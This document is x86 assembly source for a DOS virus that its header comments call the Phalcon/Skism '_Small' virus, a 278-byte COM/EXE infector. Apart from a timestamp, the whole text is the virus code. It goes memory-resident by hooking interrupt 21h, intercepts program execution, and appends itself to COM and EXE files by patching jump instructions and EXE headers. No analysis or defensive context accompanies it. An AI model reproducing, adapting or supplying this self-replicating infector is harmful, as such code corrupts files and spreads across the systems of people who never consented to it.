2022-08-21 09:07:57 +00:00
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.model tiny
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.code
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.radix 16
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.code
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; Phalcon/Skism _Small virus
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; Written by Dark Angel of Phalcon/Skism
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; 278 byte generic COM/EXE infector
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EXE_ID = -40
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viruslength = heap - _small
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startload = 90 * 4
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_small:
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call relative
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oldheader dw 020cdh
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dw 0bh dup (0)
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relative:
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pop bp
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push ds
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push es
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xor ax,ax
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mov ds,ax
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mov es,ax
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mov di,startload
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cmp word ptr ds:[di+25],di
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jz exit_small
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lea si,[bp-3]
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mov cx,viruslength
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db 2Eh
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rep movsb
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mov di,offset old21 + startload
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mov si,21*4
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push si
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movsw
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movsw
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pop di
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mov ax,offset int21 + startload
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stosw
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xchg ax,cx
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stosw
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exit_small:
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pop es
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pop ds
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or sp,sp
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jnp returnCOM
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returnEXE:
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mov ax,ds
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add ax,10
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add [bp+16],ax
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add ax,[bp+0e]
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mov ss,ax
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mov sp,cs:[bp+10]
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jmp dword ptr cs:[bp+14]
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returnCOM:
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mov di,100
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push di
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mov si,bp
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movsw
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movsb
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ret
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infect:
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push ax
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push bx
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push cx
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push dx
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push si
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push di
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push ds
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push es
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mov ax,3d02
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int 21
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xchg ax,bx
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push cs
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pop ds
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push cs
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pop es
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mov si,offset oldheader+startload
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mov ah,3f
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mov cx,18
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push cx
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mov dx,si
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int 21
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cmp ax,cx
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jnz go_already_infected
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mov di,offset target + startload
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push di
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rep movsb
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pop di
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mov ax,4202
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cwd
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int 21
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cmp ds:[di],'ZM'
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jz infectEXE
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sub ax,3
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mov byte ptr ds:[di],0e9
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mov ds:[di+1],ax
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sub ax,viruslength
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cmp ds:[si-17],ax
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jnz finishinfect
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go_already_infected:
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pop cx
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jmp short already_infected
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int21:
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cmp ax,4b00
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jz infect
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jmp short chain
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infectEXE:
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cmp word ptr [di+10],EXE_ID
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jz go_already_infected
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push ax
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push dx
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add ax,viruslength
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adc dx,0
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mov cx,200
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div cx
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or dx,dx
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jz nohiccup
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inc ax
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nohiccup:
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mov ds:[di+4],ax
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mov ds:[di+2],dx
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pop dx
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pop ax
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mov cx,10
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div cx
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sub ax,ds:[di+8]
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mov ds:[di+14],dx
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mov ds:[di+16],ax
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mov ds:[di+0e],ax
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mov word ptr ds:[di+10],EXE_ID
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finishinfect:
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mov ah,40
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mov cx,viruslength
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mov dx,startload
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int 21
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mov ax,4200
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xor cx,cx
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cwd
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int 21
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mov ah,40
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mov dx,di
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pop cx
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int 21
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already_infected:
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mov ah,3e
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int 21
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exitinfect:
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pop es
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pop ds
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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chain:
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db 0ea
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heap:
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old21 dw ?, ?
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target dw 0ch dup (?)
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endheap:
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end _small
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